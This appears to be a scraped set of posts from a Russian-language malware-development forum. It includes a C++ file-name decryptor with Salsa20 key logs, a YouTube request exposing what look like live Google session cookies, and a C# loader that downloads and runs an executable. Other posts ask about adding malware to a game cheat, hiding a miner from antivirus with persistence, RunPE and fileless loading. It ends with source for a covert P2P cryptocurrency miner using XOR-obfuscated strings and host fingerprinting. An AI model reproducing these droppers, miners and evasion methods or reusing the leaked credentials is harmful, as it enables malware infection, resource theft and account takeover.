Это происходит рандомно, может совпасть вся последовательность байтов, а может
ни один байт не совпасть.
Может кто-то знает почему так происходит.
Hidden content for authorized users.
C++:Copy to clipboard
BOOL
decryptor::DecryptFileName(
__in LPCWSTR EncryptedFilename,
__in ECRYPT_ctx* CryptCtx,
__in decryptor::LPFILE_INFO FileInfo ) {
std::wstring filePath(EncryptedFilename);
std::wstring directory;
std::wstring encryptedBaseName;
std::wstring extension;
size_t lastDotPos = filePath.find_last_of(L".");
if (lastDotPos != std::wstring::npos) {
extension = filePath.substr(lastDotPos);
filePath = filePath.substr(0, lastDotPos);
}
size_t lastSlashPos = filePath.find_last_of(L"\\/");
if (lastSlashPos != std::wstring::npos) {
directory = filePath.substr(0, lastSlashPos + 1);
encryptedBaseName = filePath.substr(lastSlashPos + 1);
}
else {
encryptedBaseName = filePath;
}
size_t len = encryptedBaseName.length();
std::vector<uint8_t> encryptedBuffer(len / 2);
for (size_t i = 0; i < len / 2; i++) {
unsigned int value;
wchar_t bytePair[3] = { encryptedBaseName[i * 2], encryptedBaseName[i * 2 + 1], L'\0' };
swscanf_s(bytePair, L"%x", &value);
encryptedBuffer[i] = static_cast<uint8_t>(value);
}
// Convert decrypted byte buffer back to wchar_t
std::vector<u8> decryptedData(len / 2);
ECRYPT_decrypt_bytes(CryptCtx, encryptedBuffer.data(), decryptedData.data(), len / 2);
contextStream.str(std::wstring()); // очищаем stringstream
for (int i = 0; i < 16; i++) {
contextStream << std::hex << std::setw(8) << std::setfill(L'0') << CryptCtx->input[i] << L" ";
}
std::wstring decryptedFilename = directory + byteVectorToWString(decryptedData) + extension;
// Rename the file
if (MoveFileW(EncryptedFilename, decryptedFilename.c_str())) {
ChangeFileName(decryptedFilename.c_str());
return TRUE;
}
else {
return FALSE;
}
}
Hidden content for authorized users.
Лог шифрования:
Using key for encryption:
e38b2d3c9d576e7b6cc96b3d6aee6ad4ab4be0b98c6496e55e9c7c488db307d5
Using IV for encryption: 3ce967f204b67e4c
Filename before encryption (byte representation): 31323334352e747874
Filename after encryption (byte representation):
61bba466ae43d7d32f10ffc4b344f242457
Next file
Using key for encryption:
e52966aa7fd532a16a105af5bdf7ae600c27e6ccf0ce7c81429f1f495b1cf16a
Using IV for encryption: 9b58c689cfce67d6
Filename before encryption (byte representation): 746578742e747874
Filename after encryption (byte representation):
37a0c7b9ca5b21265e4abdf22b95f297
Лог дешифрования:
Starting decryption of filename:
C:\Users\Admin\Desktop\testDF\37a0c7b9ca5b21265e4abdf22b95f297
Encrypted base name: 37a0c7b9ca5b21265e4abdf22b95f297
Using key: e52966aa7fd532a16a105af5bdf7ae600c27e6ccf0ce7c81429f1f495b1cf16a
Using IV: 9b58c689cfce67d6
ECRYPT_ctx state before decryption: 61707865 3320646e 79622d32 6b206574
aa6629e5 a132d57f f55a106a 60aef7bd cce6270c 817ccef0 491f9f42 6af11c5b
00000001 00000000 89c6589b d667cecf
ECRYPT_ctx state after decryption: 61707865 3320646e 79622d32 6b206574
aa6629e5 a132d57f f55a106a 60aef7bd cce6270c 817ccef0 491f9f42 6af11c5b
00000002 00000000 89c6589b d667cecf
Decryption process completed.
Decrypted bytes: 74 00 65 00 78 00 74 00 2e 00 74 00 78 00 74 00
Decrypted filename: C:\Users\Admin\Desktop\testDF\text.txt
Starting decryption of filename:
C:\Users\Admin\Desktop\testDF\61bba466ae43d7d32f10ffc4b344f242457
Encrypted base name: 61bba466ae43d7d32f10ffc4b344f242457
Using key: e38b2d3c9d576e7b6cc96b3d6aee6ad4ab4be0b98c6496e55e9c7c488db307d5
Using IV: 3ce967f204b67e4c
ECRYPT_ctx state before decryption: 61707865 3320646e 79622d32 6b206574
3c2d8be3 7b6e579d 3d6bc96c d46aee6a b9e04bab e596648c 487c9c5e d507b38d
00000001 00000000 f267e93c 4c7eb604
ECRYPT_ctx state after decryption: 61707865 3320646e 79622d32 6b206574
3c2d8be3 7b6e579d 3d6bc96c d46aee6a b9e04bab e596648c 487c9c5e d507b38d
00000002 00000000 f267e93c 4c7eb604
Decryption process completed.
Decrypted bytes: 31 00 32 00 33 00 34 00 35 00 de 38 8c 70 c5 66 15
Decrypted filename: C:\Users\Admin\Desktop\testDF\12345㣞炌曅
**I hope to be able to provide advice to more people someday
**
Здраствуйте у меня есть java byte code как я могу его перевести обратно в сурсы java
Кто увлекается java, хотелось бы обсудить одну мысль, если реализация возможна то и естественно написать.
Работодатель, мать его, напрягает, чтобы перешел на стек java/spring. Есть кто
на джаве кодит или кодил? Я джаву всю жизнь стороной обходил, так что
впечатлений ноль. есть что рассказать, люди? гугл гуглом, но вот джавистов
живых в моем окружении не водится. Хотелось бы услышать реальное мнение как
тех, кто java боготворит. так и тех. кто ненавидет.
Я большую часть жизни кодил на Fortran и python. Возможно в чем-то недалек, но
что-то как-то волнительно стек менять.
Была идея сменить работу, но я только восьмой месяц работаю да и обстановка в
стране не особо впечатляет.
Короче говоря, спасибо!
Всем добра!
Дорбого времени суток! Подскажите статьи какие-то где описываются методы раздутия файла (мусором и прочим), может примеры какие-то.
Заранее спасибо!
отправляю запрос к ютубу, чтобы получить json ответ, но вылазит ошибка, как
можно пофиксить?
C#:Copy to clipboard
string token = "тут токен";
string channelId = "тут id канала с искомой инфой";
var client = new RestClient("https://www.youtube.com/youtubei/v1/channel/reveal_business_email?key=AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8&prettyPrint=false");
client.Timeout = -1;
var reka = new RestRequest(Method.POST);
reka.AddHeader("authorization", "SAPISIDHASH 1654983168_86efccccc4ce76a207c8dbc53225bf74d9a7fa25");
reka.AddHeader("cookie", "GPS=1; YSC=Pmcj0jfTjys; VISITOR_INFO1_LIVE=cbBdmXEM; PREF=f4=4000&tz=Europe.Moscow; SID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQ9iEvnz9DsaM_yxHlVI7-4YtFQ.; __Secure-1PSID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQOfyHF92It8NnIw0Kw3EVw.; __Secure-3PSID=LAixPSjizRb1wGE5XpthD9cSaRf_b0MV6x6PQ9iEv0EmNvUFjNQnM8OLIerg.; HSID=AYLuDIgi6Pf4ioxW4; SSID=ABFOGRe5RivJTtOJ_; APISID=nFtlS-kscWfNq-db/A-VpA3peIM0Qb6gkM; SAPISID=rE4tOmRPehuvYmn6QknSK52x; __Secure-1PAPISID=rE4tOmRPehuvY-Ie/AVEE4Pmn6QknSK52x; __Secure-3PAPISID=rE4tOmRPehuvY-Ie/AVEknSK52x; LOGIN_INFO=AFmbXPf-RMCljDBe4_GBAiEA-egMMIqJadSNoMQtyLrvTlxvlvcSgzVj98h9Z9BhB_c:QUQ3MjNmeGg2akd5cEQ5Y3VLOWJiR1ctY1c1ekdKdnFfOFc4NXgzOFFoRG5Pb3JjQjBSSkRMS2M2aFN1NU03N29USTRJYmlTVFJ4Nl8zZ244dVFIMGktaEVkOWMzUDEwWXVVaDRZQmVtR2dxhIdkczR0xoV1ZET011c2RHODY5M2R2TUtCaVNCWUQxOHFn; CONSISTENCY=ALOGzFzIXR_zL1oIczyNONY5v3Z5_oE4v9yYOuaBNLuTLzEPd5HnL359ShhC0pUPphhFfZ-h18yc4zXYWcXbMvgeUdNKGW; SIDCC=AJi4QaDy2c5nEE9XQs9mVR9iOfOIxw; __Secure-3PSIDCC=AJi4QfGGurkmeS1AVZyK5qa1satJ_xlHDXbpKjmjbxncqiuV2ms1How; SIDCC=AJi4QfEw8PSsHtVgn0RhslLGM5B01sHkwFi4GdO_3mRZ7Tj9DYdCSp-Tqcsg2HjRkaBvAwnVPQ; __Secure-3PSIDCC=AJi4QfGr-Ls7I1ovi8BkPdMTajVC-Gq010Yt8d4Aw");
reka.AddHeader("accept-language", "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7");
reka.AddHeader("origin", "https://www.youtube.com");
reka.AddHeader("referer", link);
reka.AddHeader("sec-ch-ua", "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"102\", \"Google Chrome\";v=\"102\"");
reka.AddHeader("sec-ch-ua-arch", "\"x86\"");
reka.AddHeader("sec-ch-ua-bitness", "\"64\"");
reka.AddHeader("sec-ch-ua-full-version", "\"102.0.5005.63\"");
reka.AddHeader("sec-ch-ua-full-version-list", "\" Not A;Brand\";v=\"99.0.0.0\", \"Chromium\";v=\"102.0.5005.63\", \"Google Chrome\";v=\"102.0.5005.63\"");
reka.AddHeader("sec-ch-ua-mobile", "?0");
reka.AddHeader("sec-ch-ua-model", "");
reka.AddHeader("sec-ch-ua-platform", "\"Windows\"");
reka.AddHeader("sec-ch-ua-platform-version", "\"10.0.0\"");
reka.AddHeader("sec-fetch-dest", "empty");
reka.AddHeader("Content-Type", "application/json");
var body = "{\"\"context\"\":{\"\"client\"\":{\"\"hl\"\":\"\"ru\"\",\"\"gl\"\":\"\"RU\"\",\"\"remoteHost\"\":\"\"83.221.223.190\"\",\"\"deviceMake\"\":\"\"\"\",\"\"deviceModel\"\":\"\"\"\",\"\"visitorData\"\":\"\"CgszNnBrYkRyMTUtcyjHs5GVBg%3D%3D\"\",\"\"userAgent\"\":\"\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36,gzip(gfe)\"\",\"\"clientName\"\":\"\"WEB\"\",\"\"clientVersion\"\":\"\"2.20220609.00.00\"\",\"\"osName\"\":\"\"Windows\"\",\"\"osVersion\"\":\"\"10.0\"\",\"\"originalUrl\"\":\"\"https://www.youtube.com/watch?v=Oyf0feE9Ewo\"\",\"\"screenPixelDensity\"\":1,\"\"platform\"\":\"\"DESKTOP\"\",\"\"clientFormFactor\"\":\"\"UNKNOWN_FORM_FACTOR\"\",\"\"configInfo\"\":{\"\"appInstallData\"\":\"\"CMezkZUGELfLrQUQ2JquBRCUj64Yh64FEJjqrQUQmN79EhDUg64FEIKOrgUQkfj8EhDYvq0F\"\"},\"\"screenDensityFloat\"\":1.25,\"\"timeZone\"\":\"\"Europe/Moscow\"\",\"\"browserName\"\":\"\"Chrome\"\",\"\"browserVersion\"\":\"\"102.0.0.0\"\",\"\"screenWidthPoints\"\":886,\"\"screenHeightPoints\"\":754,\"\"utcOffsetMinutes\"\":180,\"\"userInterfaceTheme\"\":\"\"USER_INTERFACE_THEME_LIGHT\"\",\"\"connectionType\"\":\"\"CONN_CELLULAR_4G\"\",\"\"memoryTotalKbytes\"\":\"\"8000000\"\",\"\"mainAppWebInfo\"\":{\"\"graftUrl\"\":\"\"https://www.youtube.com/c/MusicLabWork/about\"\",\"\"pwaInstallabilityStatus\"\":\"\"PWA_INSTALLABILITY_STATUS_CAN_BE_INSTALLED\"\",\"\"webDisplayMode\"\":\"\"WEB_DISPLAY_MODE_BROWSER\"\",\"\"isWebNativeShareAvailable\"\":true}},\"\"user\"\":{\"\"lockedSafetyMode\"\":false},\"\"request\"\":{\"\"useSsl\"\":true,\"\"internalExperimentFlags\"\":[],\"\"consistencyTokenJars\"\":[]},\"\"clickTracking\"\":{\"\"clickTrackingParams\"\":\"\"CC8Quy8YACITCOKJ0t2EpfgCFcU7mwod5WkExA==\"\"},\"\"adSignalsInfo\"\":{\"\"params\"\":[{\"\"key\"\":\"\"dt\"\",\"\"value\"\":\"\"1654938056328\"\"},{\"\"key\"\":\"\"flash\"\",\"\"value\"\":\"\"0\"\"},{\"\"key\"\":\"\"frm\"\",\"\"value\"\":\"\"0\"\"},{\"\"key\"\":\"\"u_tz\"\",\"\"value\"\":\"\"180\"\"},{\"\"key\"\":\"\"u_his\"\",\"\"value\"\":\"\"5\"\"},{\"\"key\"\":\"\"u_h\"\",\"\"value\"\":\"\"864\"\"},{\"\"key\"\":\"\"u_w\"\",\"\"value\"\":\"\"1536\"\"},{\"\"key\"\":\"\"u_ah\"\",\"\"value\"\":\"\"824\"\"},{\"\"key\"\":\"\"u_aw\"\",\"\"value\"\":\"\"1536\"\"},{\"\"key\"\":\"\"u_cd\"\",\"\"value\"\":\"\"24\"\"},{\"\"key\"\":\"\"bc\"\",\"\"value\"\":\"\"31\"\"},{\"\"key\"\":\"\"bih\"\",\"\"value\"\":\"\"754\"\"},{\"\"key\"\":\"\"biw\"\",\"\"value\"\":\"\"870\"\"},{\"\"key\"\":\"\"brdim\"\",\"\"value\"\":\"\"0,0,0,0,1536,0,1536,824,886,754\"\"},{\"\"key\"\":\"\"vis\"\",\"\"value\"\":\"\"1\"\"},{\"\"key\"\":\"\"wgl\"\",\"\"value\"\":\"\"true\"\"},{\"\"key\"\":\"\"ca_type\"\",\"\"value\"\":\"\"image\"\"}],\"\"bid\"\":\"\"ANyPxKqh1o0fCfaE9JXKsulGKl1YwJt87cIFGt-6vXWVADoMYW2xft7fFp9jZKkCf9KBUSfaJA066DM8ETVPfU8BJIcajngNTg\"\"}},\"\"recaptchaResponseToken\"\":\"\"" + token + "\"\",\"\"channelId\"\":\"\"" + channelId + "\"\"}";
reka.AddParameter("application/json", body, ParameterType.RequestBody);
IRestResponse resp = client.Execute(reka);
MessageBox.Show(resp.Content);
email = resp.Content;
Привет. Вопрос очень простой для того, кто с темой связан. Как из терминала
powershell скачать с сайта изображение, а затем открыть его ?
Решения из гугл мне не помогли. Спасибо.
Hidden content for authorized users.
Данный класс позволяет изменять ползунок громкости микшера Windows, не
используя посторонних библиотек.
Работает начиная с Windows 7.
C#:Copy to clipboard
namespace VolumeMixer
{
using System;
using System.ComponentModel;
using System.Runtime.InteropServices;
[Description("Класс для изменения микшера громкости windows")]
public sealed class AudioEndpoint
{
[ComImport]
[Guid("BCDE0395-E52F-467C-8E3D-C4579291692E")]
internal class MMDeviceEnumerator { }
[Flags]
internal enum EDataFlow
{
eRender,
eCapture,
eAll,
EDataFlow_enum_count
}
[Flags]
internal enum ERole
{
eConsole,
eMultimedia,
eCommunications,
ERole_enum_count
}
[Guid("A95664D2-9614-4F35-A746-DE8DB63617E6"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IMMDeviceEnumerator
{
int NotImpl1();
[PreserveSig]
int GetDefaultAudioEndpoint(EDataFlow dataFlow, ERole role, out IMMDevice ppDevice);
}
[Guid("D666063F-1587-4E43-81F1-B948E807363F"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IMMDevice
{
[PreserveSig]
int Activate(ref Guid iid, int dwClsCtx, IntPtr pActivationParams, [MarshalAs(UnmanagedType.IUnknown)] out object ppInterface);
}
[Guid("657804FA-D6AD-4496-8A60-352752AF4F89"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IAudioEndpointVolumeCallback
{
int OnNotify(IntPtr pNotifyData);
};
[Guid("5CDF2C82-841E-4546-9722-0CF74078229A"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
internal interface IAudioEndpointVolume
{
int RegisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
int UnregisterControlChangeNotify(IAudioEndpointVolumeCallback pNotify);
int GetChannelCount(out int pnChannelCount);
int SetMasterVolumeLevel(float fLevelDB, Guid pguidEventContext);
int SetMasterVolumeLevelScalar(float fLevel, Guid pguidEventContext);
int GetMasterVolumeLevel(out float pfLevelDB);
int GetMasterVolumeLevelScalar(out float pfLevel);
int SetChannelVolumeLevel(uint nChannel, float fLevelDB, Guid pguidEventContext);
int SetChannelVolumeLevelScalar(uint nChannel, float fLevel, Guid pguidEventContext);
int GetChannelVolumeLevel(uint nChannel, out float pfLevelDB);
int GetChannelVolumeLevelScalar(uint nChannel, out float pfLevel);
int SetMute([MarshalAs(UnmanagedType.Bool)] Boolean bMute, Guid pguidEventContext);
int GetMute(out bool pbMute);
int GetVolumeStepInfo(out uint pnStep, out uint pnStepCount);
int VolumeStepUp(Guid pguidEventContext);
int VolumeStepDown(Guid pguidEventContext);
int QueryHardwareSupport(out uint pdwHardwareSupportMask);
int GetVolumeRange(out float pflVolumeMindB, out float pflVolumeMaxdB, out float pflVolumeIncrementdB);
}
/// <summary>
/// <c>Метод для изменения громкости звука windows <br>(Работает, начиная с Windows 7)</br></c>
/// <b><br>Значение : Уровень громкости</br></b>
/// <br>(0f) : 0%</br>
/// <br>(0.10f) : 10%</br>
/// <br>(0.50f) : 50%</br>
/// <br>(0.90f) : 90%</br>
/// <br>(1f) : 100%</br>
/// <b><br>Пример использования:</br></b>
/// <br>var audio = new AudioEndpoint();</br>
/// <br>audio.Inizialize(1f);</br>
/// </summary>
/// <param name="level"></param>
public void Inizialize(float level)
{
var deviceEnumerator = (IMMDeviceEnumerator)new MMDeviceEnumerator();
IMMDevice speakers = null;
IAudioEndpointVolume vol = null;
try
{
deviceEnumerator.GetDefaultAudioEndpoint(EDataFlow.eRender, ERole.eMultimedia, out speakers);
Guid IID_IAudioEndpointVolume = typeof(IAudioEndpointVolume).GUID;
speakers.Activate(ref IID_IAudioEndpointVolume, 0, IntPtr.Zero, out object o);
vol = (IAudioEndpointVolume)o;
vol.SetMasterVolumeLevelScalar(level, Guid.Empty);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
// System.IO.File.WriteAllText("VolumeError.txt", $"{ex.Message}{Environment.NewLine}");
}
if (vol != null) Marshal.ReleaseComObject(vol);
if (speakers != null) Marshal.ReleaseComObject(speakers);
if (deviceEnumerator != null) Marshal.ReleaseComObject(deviceEnumerator);
}
}
}
Используется
C#:Copy to clipboard
var audio = new AudioEndpoint();
audio.Inizialize(1f); // (1f) - уровень громкости
Как дописать что-то к читу кс го без сурс кода, дописать что при инжекте скачивается и открывается мальварь? Возможно ли это
Нужен слив курс => https://practicum.yandex.ru/cpp/ поделитесь со мной. заранее спасибо!
Hello, how should a crypto miner be executed to be legit for AV?
Is it okay to drop on the disk the exe of an official cli miner executable,
make it persistent (register or service), set it to minimum power (less cpu
used, so silent in the background).
Maybe without crypting the miner payload because is a legit executable.
Any other idea is appreciated
Приветствую, искал инфу видимо плохо искал не нашел, подскажите пожалуйста как скомпилировать .c .cpp файл в binary .bin?! буду признателен за подсказка, либо код) Всем хорошего утра, дня, или вечера!
Подскажите пожалуйста переменную для удаление всего текста после первого "=" index.php?page=~~item &id=~~
всем здравствуйте, хотел бы задать вопрос по поводу того, где я могу найти больше информации по определенным винапи структурам и взаимодействиям с ними? сейчас приведу конкретный пример, с базой винапи я знаком, но сейчас полез смотреть на то, как работает runpe, знаю что это устаревшая технология, но мне кажется нужно с простого начинать. так вот, мне в принципе весь код понятен был, кроме одной секции:
C-like:Copy to clipboard
CTX = (CONTEXT*)malloc(sizeof(CONTEXT));
ZeroMemory(CTX, sizeof(CONTEXT));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(pi.hThread, CTX) != 0)
{
DWORD imageBase = 0;
ReadProcessMemory(pi.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&imageBase), 4, 0);
}
а именно
C-like:Copy to clipboard
ReadProcessMemory(pi.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&imageBase), 4, 0);
я начал гуглить, ибо мне было непонятно, почему в регистре в ebx находится адрес на imageBase, но ничего особо полезного не нашел, где подробнее можно почитать о подобном? ну то есть как создаются процессы и тд
Доброе время суток!
Можете покидать тем и в целом рассказать, как делается загрузка и запуск файла
в памяти, без сохранения на диск?
И есть ли уже какие-то готовые варианты, которые работают сейчас (без детектов
итд)? Возможно, их нужно будет подредактировать, но всё же.
Заранее всем спасибо!
приветствую, форумчане. обращаюсь за помошью - весь мозг уже сломал. прога скачивает файл с хоста с помощью функций из библиотеки wininet. используется динамический вызов апи по хэшу. под х64 все работает прекрасно, собираю в х86 и запускаю на 64-битной винде - падает на вызове любой функции из вининет. кто-нибудь сталкивался с таким?
Реально ли модицифировать какие-то из функций CRT? Из студии 15 года например
C#:Copy to clipboard
using System.Diagnostics;
using System.Net;
using System;
using System.Text;
using System.Threading;
namespace LOADER
{
class Program
{
static void Main(string[] args)
{
WebClient wc = new WebClient();
string exe_link = "тут короче линк на билд сделал";
string PTH = "C:\\ProgramData\\";
string NAME_FILE = "Loader.exe";
Thread.Sleep(180);
wc.DownloadFile(exe_link, PTH + NAME_FILE);
System.Diagnostics.Process.Start(@"C:\ProgramData\Loader.exe");
}
}
}
Есть проблема, что если очистить память(RAM или что-то) то приложение(Ботнет или РАТ) закрывается, как сделать чтоб обойти это?
Пишу скрытие импортов и всё такое. Решил отключить CRT - успешно. Но мне надо (для опред. задач) выделять память через malloc и при использовании void* не компилируется("неразрешенный внешний символ void* "). Приведение типов в unsigned char* не помогает. Подскажите, что делать? Если я использую void* для других дел- тоже не работает. Тригерит
I want to showcase my CPU P2P-pool-based miner without giving out too much code for free. I hope it inspires someone:
C++:Copy to clipboard
#pragma comment(linker, "/MERGE:.rdata=.text")
#pragma comment(linker, "/MERGE:.data=.text")
#include <Windows.h>
#include <Shlwapi.h>
#include "../p2p/ntdll.h"
#include "../p2p/ntddk.h"
#include "../p2p/str.h"
#include "../p2p/efs.h"
#include "../p2p/conn.h"
#include "../p2p/node.h"
#include "../p2p/crypto.h"
#include "../p2p/registry.h"
#include "../p2p/p2p.h"
#include "../p2p/config.h"
#include "../p2p/common.h"
#include "../p2p/files.h"
#pragma comment(lib, "ntdll64.lib")
RTL_CRITICAL_SECTION g_critical_section;
char* hash_randomx(const char* input, unsigned char* seed_hash, const unsigned long long height, int threads);
/*
Start date: 01.10.20
Finish by: 08.10.20
RandomX & CryptoNight_R CPU Miner
The miner will be written as an x64-based EXE (since x86 systems are useless
for mining and they only account for 8% of all Windows market share).
1) when it starts, it will write its process ID and process name to the miner.cfg
in the EFS to tell the core orchestrator (p2p.dll) that it has started so that
when we poll the process list from there we can determine if its still running
and if not then it can be started again
2) it will lookup the known pool-nodes which should be written to miner.cfg in the
EFS and constantly poll it until there is a node which we can connect to
3) when we connect to a node, we should send a stratum-based login request to
authenticate ourselves and grab the latest block template from the RPC daemon
4) now we should proceed to hash the received blob template based on the version
of the block template, randomx when its >= 12 and cryptonight_r for < 12
5) once the hashing is complete we should check the 24-32 bytes of the returned
hash to see if theyre less than the target difficulty so that we can submit
it to the pool-node to check if we mined the block based on the response
*/
mining_tasks* mining_operations = 0;
extern "C" {
#include "cryptonight/hash-ops.h"
};
void get_process_info(char** process_name, unsigned long* process_id)
{
// get the id of the current process
*process_id = HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess);
wchar_t* u_process_path = 0;
// get the current file path
void* current_module = get_current_module();
get_current_path(current_module, &u_process_path);
wchar_t* u_process_name = 0;
// get the name of the current process
get_base_file_name(u_process_path, &u_process_name);
// convert the process name to an ANSI string
unicode_to_ansi(u_process_name, &*process_name);
free_memory(u_process_name);
free_memory(u_process_path);
}
bool verify_config_mutex(local_efs efs, container_info* miner_container, unsigned char* container_config, char* process_name, unsigned long process_id)
{
unsigned long process_name_len = ansi_strlen(process_name);
unsigned long process_id_len = integer_length(process_id);
char *ansi20 = 0;
xor_string(ansi, (unsigned char**)&ansi20, (unsigned char*)ansi_table[20], 5, 20);
do
{
char* mutex_value = 0;
// determine if a mutex value exists or not
get_http_header((char*) container_config, ansi20, &mutex_value, true);
if (mutex_value)
{
bool status = true;
int mutex_value_len = ansi_strlen(mutex_value);
// it exists, so lets determine if there is a process name & process id
unsigned long mutex_delimeter = get_delimeter<const char>(mutex_value, ":");
// this is the most accurate way (as of now) to check if the process name & id is there
if (mutex_value_len > 1 && mutex_delimeter != -1)
{
char* mutex_process_name, *_mutex_process_id = 0;
extract_data(&mutex_process_name, mutex_value, mutex_delimeter);
extract_data(&_mutex_process_id, mutex_value + (mutex_delimeter + 1), mutex_value_len - (mutex_delimeter + 1));
unsigned long mutex_process_id = str_to_ul(_mutex_process_id);
if (mutex_process_id)
{
if (is_process_running(mutex_process_name, mutex_process_id))
status = false;
}
free_memory(_mutex_process_id);
free_memory(mutex_process_name);
}
free_memory(mutex_value);
if (status) break;
free_memory(ansi20);
return false;
}
}
while (false); // not a loop
// it doesnt exist so we lets check if the mutex tag is there or we need to add a new one
unsigned long mutex_position = get_delimeter<const char>((char*) container_config, ansi20);;
if (mutex_position != -1)
{
// if we get to here lets remove the line which contains the mutex if its present
unsigned long mutex_end_position = get_delimeter<const char>((char*) container_config + mutex_position, "\r\n");
if (mutex_end_position != -1)
{
trim_memory(container_config + mutex_position, miner_container->file_plain_size - mutex_position, (mutex_end_position + 2) - mutex_position);
}
}
free_memory(ansi20);
bool success = false;
unsigned long container_size = ansi_strlen((char*) container_config);
unsigned long new_container_size = container_size + 5 + 1 + 2 + 1 + process_name_len + process_id_len;
char* ansi21 = 0, *ansi22 = 0;
container_config = (unsigned char*) realloc_memory(container_config, new_container_size, &success);
if (container_config)
{
xor_string(ansi, (unsigned char**)&ansi21, (unsigned char*)ansi_table[21], 16, 21);
new_container_size = wnsprintfA((char*) container_config, new_container_size, ansi21, container_config, process_name, process_id);
free_memory(ansi21);
}
if (success)
{
unsigned long update_timestamp = 0;
get_epoch_timestamp(&update_timestamp);
xor_string(ansi, (unsigned char**)&ansi22, (unsigned char*)ansi_table[22], 9, 22);
EFS_merge(efs, ansi22, container_config, new_container_size, update_timestamp, false);
free_memory(ansi22);
}
return true;
}
mining_tasks* parse_operation_response(mining_tasks* mining_operations, unsigned char* pool_response)
{
char* ansi23 = 0, * ansi24 = 0, * ansi25 = 0, * ansi26 = 0, * ansi27 = 0, * ansi28 = 0;
xor_string(ansi, (unsigned char**)&ansi23, (unsigned char*)ansi_table[23], 7, 23);
int pool_id = 0;
json_extract_value(pool_response, ansi23, (void**)&pool_id);
free_memory(ansi23);
// it should be the case since we hardcoded this into the stratum response (operations.cpp#L677)
if (pool_id == 31337)
{
unsigned long long block_height = 0;
xor_string(ansi, (unsigned char**)&ansi24, (unsigned char*)ansi_table[24], 6, 24);
json_extract_value(pool_response, ansi24, (void**)&block_height, true);
free_memory(ansi24);
if (block_height)
{
mining_tasks* task = add_task(&mining_operations, block_height);
if (task)
{
do
{
xor_string(ansi, (unsigned char**)&ansi25, (unsigned char*)ansi_table[25], 7, 25);
json_extract_value(pool_response, ansi25, (void**)&task->task_id);
free_memory(ansi25);
if (!task->task_id)
break;
xor_string(ansi, (unsigned char**)&ansi26, (unsigned char*)ansi_table[26], 6, 26);
json_extract_value(pool_response, ansi26, (void**)&task->target_hex);
free_memory(ansi26);
int target_hex_length = ansi_strlen(task->target_hex);
if (target_hex_length <= 8)
{
unsigned long dividend = 0;
hex_to_bin(task->target_hex, (unsigned char*) ÷nd, target_hex_length / 2);
if (dividend == 0) break;
task->target = 0xffffffffffffffffULL / (0xffffffffULL / (unsigned long long) dividend);
}
else
if (target_hex_length <= 16)
{
task->target = 0;
hex_to_bin(task->target_hex, (unsigned char*)&task->target, target_hex_length / 2);
if (task->target == 0) break;
}
else break;
task->diff = task->target ? (0xffffffffffffffffULL / task->target) : 0;
if (!task->diff)
break;
char* hashing_blob = 0;
xor_string(ansi, (unsigned char**)&ansi27, (unsigned char*)ansi_table[27], 4, 27);
json_extract_value(pool_response, ansi27, (void**)&hashing_blob);
free_memory(ansi27);
if (((task->hashing_blob_size = ansi_strlen(hashing_blob)) % 2) != 0)
break;
task->hashing_blob_size /= 2;
if (task->hashing_blob_size < 76 || task->hashing_blob_size > 407 || !task->hashing_blob_size)
{
free_memory(hashing_blob);
break;
}
task->hashing_blob = (unsigned char*)alloc_memory(task->hashing_blob_size);
hex_to_bin(hashing_blob,
task->hashing_blob,
task->hashing_blob_size);
free_memory(hashing_blob);
task->algorithm = (task->hashing_blob[1] < 12 ? CRYPTONIGHT_R : RANDOM_X);
task->block_version = (task->hashing_blob[1] >= 7 ? task->hashing_blob[1] - 6 : 0);
if (task->algorithm == RANDOM_X)
{
char* seed_hash = 0;
xor_string(ansi, (unsigned char**)&ansi28, (unsigned char*)ansi_table[28], 9, 28);
json_extract_value(pool_response, ansi28, (void**)&seed_hash);
free_memory(ansi28);
if (seed_hash && ansi_strlen(seed_hash) != 64)
{
free_memory(seed_hash);
break;
}
task->seed_hash = (unsigned char*)alloc_memory(32);
hex_to_bin(seed_hash, task->seed_hash, 32);
free_memory(seed_hash);
}
return task;
}
while (0);
remove_task(&mining_operations, block_height);
}
}
}
return 0;
}
void get_user_id(char** unique_id, unsigned long* unique_id_length)
{
// get computer name
unsigned long computer_length = 0;
char* computer_name = 0, *ansi29 = 0, *ansi30 = 0;
xor_string(ansi, (unsigned char**)&ansi29, (unsigned char*)ansi_table[29], 12, 29);
wchar_t* uni73 = 0, *uni74 = 0;
xor_string(unicode, (unsigned char**)&uni73, (unsigned char*)unicode_table[73], 58, 73);
*(uni73 + 58) = L'\0';
xor_string(unicode, (unsigned char**)&uni74, (unsigned char*)unicode_table[74], 64, 74);
*(uni74 + 64) = L'\0';
get_key_value(local_machine, uni73, 58, ansi29, &computer_name, &computer_length);
free_memory(uni73);
if (!computer_name || !computer_length)
{
get_key_value(local_machine, uni74, 64, ansi29, &computer_name, &computer_length);
free_memory(uni74);
}
free_memory(ansi29);
wchar_t* ntroot = SharedUserData->NtSystemRoot, root_path[3];
// get system creation date
root_path[0] = ntroot[0];
root_path[1] = L':';
root_path[2] = L'\\';
LARGE_INTEGER* vcd = get_file_vcd(root_path);
int concat_length = integer_length(vcd->QuadPart) + computer_length;
char* concat_str = (char*)alloc_memory(concat_length);
xor_string(ansi, (unsigned char**)&ansi30, (unsigned char*)ansi_table[30], 6, 30);
wsprintfA(concat_str, ansi30, concat_str, vcd->QuadPart);
free_memory(ansi30);
unsigned int user_id = crc32((unsigned char*) concat_str, concat_length, INFINITE);
*unique_id_length = integer_length(user_id);
*unique_id = (char*) alloc_memory(*unique_id_length + 1);
wsprintfA(*unique_id, "%u\0", user_id);
free_memory(concat_str);
}
